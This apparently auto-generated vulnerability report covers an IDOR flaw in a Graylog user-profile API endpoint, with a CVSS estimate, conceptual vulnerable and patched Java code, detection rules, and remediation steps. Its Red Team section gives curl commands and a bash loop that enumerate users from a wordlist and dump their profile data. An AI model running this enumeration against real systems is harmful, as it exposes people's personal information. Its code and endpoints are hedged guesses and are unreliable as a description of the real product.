CVE-2026-1436
Executive Summary
CVE-2026-1436 is an Insecure Direct Object Reference (IDOR) vulnerability in the Graylog API, specifically in version 2.2.3. The flaw resides in the user profile endpoint (/users/<user_id>) where the application fails to perform proper authorization checks when an authenticated user modifies the user ID in the URL. This allows an authenticated attacker to enumerate valid system users and access sensitive information such as names, email addresses, internal identifiers, and last activity timestamps. The vulnerability is classified under CWE-639 (Authorization Bypass Through User-Controlled Key) and maps to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No official patch or advisory has been released by Graylog at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Graylog is a Java-based log management platform distributed via official tarballs, Docker images, and package repositories (APT/YUM). The vulnerable component is the Graylog REST API, which is part of the core server package. Users should verify the integrity of their Graylog installation by checking checksums provided by the vendor. No known supply chain compromise has been reported for this CVE.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires an authenticated session.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): High (H) – Sensitive user data is exposed.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No impact on availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Estimated Base Score: 6.5 (Medium)
Threat Level: Medium. The vulnerability requires authentication but allows enumeration of all users and access to sensitive personal data. This could be leveraged for social engineering, targeted attacks, or further privilege escalation.
Deep Dive & Mechanics
The vulnerability is a classic Insecure Direct Object Reference (IDOR) in the Graylog REST API. The endpoint http://<IP>:12900/users/<user_id> is designed to return user profile information. The application uses the user ID from the URL path to query the database but fails to verify that the requesting user has permission to access that specific user's profile.
Root Cause: The API controller does not implement object-level authorization checks. It only verifies that the request is authenticated (i.e., the user has a valid session token) but does not check if the authenticated user is the owner of the requested profile or has administrative privileges.
Attack Flow:
- An attacker authenticates to the Graylog web interface or API with valid credentials.
- The attacker captures a legitimate request to
/users/<my_user>(e.g.,/users/admin). - The attacker modifies the user ID in the URL to another value (e.g.,
/users/john.doe). - The server returns the profile data for
john.doewithout any authorization check. - The attacker can iterate through user IDs (e.g., using a wordlist or sequential IDs) to enumerate all users and extract sensitive information.
Affected Endpoint: GET /api/users/{user_id} (or similar) on port 12900.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual Java/Spring Boot):
@RestController
@RequestMapping("/api/users")
public class UserController {
@GetMapping("/{userId}")
public ResponseEntity<UserProfile> getUserProfile(@PathVariable String userId) {
// Missing authorization check
UserProfile profile = userService.getUserProfile(userId);
return ResponseEntity.ok(profile);
}
}
Patched Code (Conceptual):
@RestController
@RequestMapping("/api/users")
public class UserController {
@GetMapping("/{userId}")
public ResponseEntity<UserProfile> getUserProfile(@PathVariable String userId,
@AuthenticationPrincipal User currentUser) {
// Authorization check: only allow if the user is the owner or an admin
if (!currentUser.getId().equals(userId) && !currentUser.isAdmin()) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
UserProfile profile = userService.getUserProfile(userId);
return ResponseEntity.ok(profile);
}
}
Key Differences:
- The patched version retrieves the authenticated user from the security context.
- It compares the requested
userIdwith the authenticated user's ID. - It also checks for administrative privileges to allow authorized access.
- If neither condition is met, it returns a 403 Forbidden response.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A valid Graylog user account (any role).
- Network access to the Graylog API on port 12900.
- A tool like
curl,Burp Suite, or a custom script.
Exploitation Steps:
Authenticate and obtain a session token:
curl -X POST http://<target>:12900/api/login \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"password123"}'Note: The exact login endpoint may vary. Graylog typically uses
/api/loginor/api/system/sessions.Extract the session token from the response (e.g.,
JSESSIONIDor Bearer token).Enumerate users by modifying the user ID:
curl -X GET http://<target>:12900/api/users/admin \ -H "Cookie: JSESSIONID=...;"Then try other IDs:
curl -X GET http://<target>:12900/api/users/john.doe \ -H "Cookie: JSESSIONID=...;"Automate enumeration with a script:
#!/bin/bash TARGET="http://<target>:12900" COOKIE="JSESSIONID=..." for user in $(cat usernames.txt); do response=$(curl -s -o /dev/null -w "%{http_code}" -X GET "$TARGET/api/users/$user" -H "Cookie: $COOKIE") if [ "$response" == "200" ]; then echo "User found: $user" curl -s -X GET "$TARGET/api/users/$user" -H "Cookie: $COOKIE" fi done
Expected Output:
{
"username": "john.doe",
"email": "john.doe@example.com",
"full_name": "John Doe",
"id": "5f8c9a2b1c3d4e5f6a7b8c9d",
"last_activity": "2026-03-15T10:30:00Z"
}
Blue Team (Defensive)
Detection:
- Monitor for repeated 200 OK responses to
/api/users/*from a single authenticated session. - Alert on access to user profiles that are not the authenticated user's own profile.
- Look for patterns of sequential or brute-forced user IDs in API logs.
Hunting:
- Query Graylog's own audit logs (if enabled) for
GET /api/users/*requests. - Correlate with authentication logs to identify the requesting user.
- Check for anomalous access times or IP addresses.
Prevention:
- Implement proper authorization checks as shown in the patched code.
- Use a Web Application Firewall (WAF) to block requests with modified user IDs.
- Enforce the principle of least privilege for API access.
- Enable Graylog's built-in audit logging and monitor for suspicious activity.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | GET /api/users/* with 200 OK |
Successful IDOR exploitation |
| Network | Sequential user IDs in URL path | Enumeration attempt |
| Log | Multiple 200 responses to /api/users/ from same session |
User enumeration |
| Log | Access to /api/users/ by non-admin user |
Policy violation |
| File | Graylog server logs showing repeated user profile requests | Evidence of scanning |
Detection Engineering
YARA Rule
rule graylog_idor_exploitation {
meta:
description = "Detects Graylog IDOR exploitation attempts in API logs"
author = "Valters IT"
date = "2026-03-15"
reference = "CVE-2026-1436"
strings:
$method = "GET"
$path = "/api/users/"
$status = "200"
condition:
$method at 0 and $path and $status
}
Sigma Rule
title: Graylog IDOR Exploitation - User Enumeration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to enumerate Graylog users via IDOR vulnerability
author: Valters IT
date: 2026-03-15
logsource:
category: webserver
product: graylog
detection:
selection:
http.method: 'GET'
http.url|startswith: '/api/users/'
http.response.status_code: 200
filter:
http.url|endswith: '/api/users/me' # Exclude self-profile access
condition: selection and not filter
falsepositives:
- Legitimate admin access to user profiles
level: medium
tags:
- attack.t1190
- cve.2026.1436
Suricata Rule
alert http any any -> any 12900 (msg:"CVE-2026-1436 Graylog IDOR User Enumeration"; flow:to_server,established; content:"GET"; http_method; content:"/api/users/"; http_uri; pcre:"/\/api\/users\/(?!me)[a-zA-Z0-9._-]+$/"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Graylog to the latest version if a patch is released. Check the official Graylog website and GitHub releases.
- Apply a virtual patch using a WAF to block requests to
/api/users/*that do not match the authenticated user's ID. - Restrict API access to trusted IP addresses or networks using firewall rules.
- Disable the vulnerable endpoint if not required, by modifying the Graylog configuration or using a reverse proxy.
Long-term Fixes:
- Implement proper object-level authorization checks in the API controller.
- Conduct a security audit of all API endpoints for similar IDOR vulnerabilities.
- Enable and monitor Graylog's audit logging to detect unauthorized access attempts.
- Follow the principle of least privilege for all user roles.
Workaround:
- If upgrading is not possible, use a reverse proxy (e.g., Nginx) to rewrite requests and enforce authorization:
location /api/users/ { if ($request_uri !~ "^/api/users/me") { return 403; } proxy_pass http://graylog_backend:12900; }
This report was generated by Valters IT DevSecOps & CTI Expert System.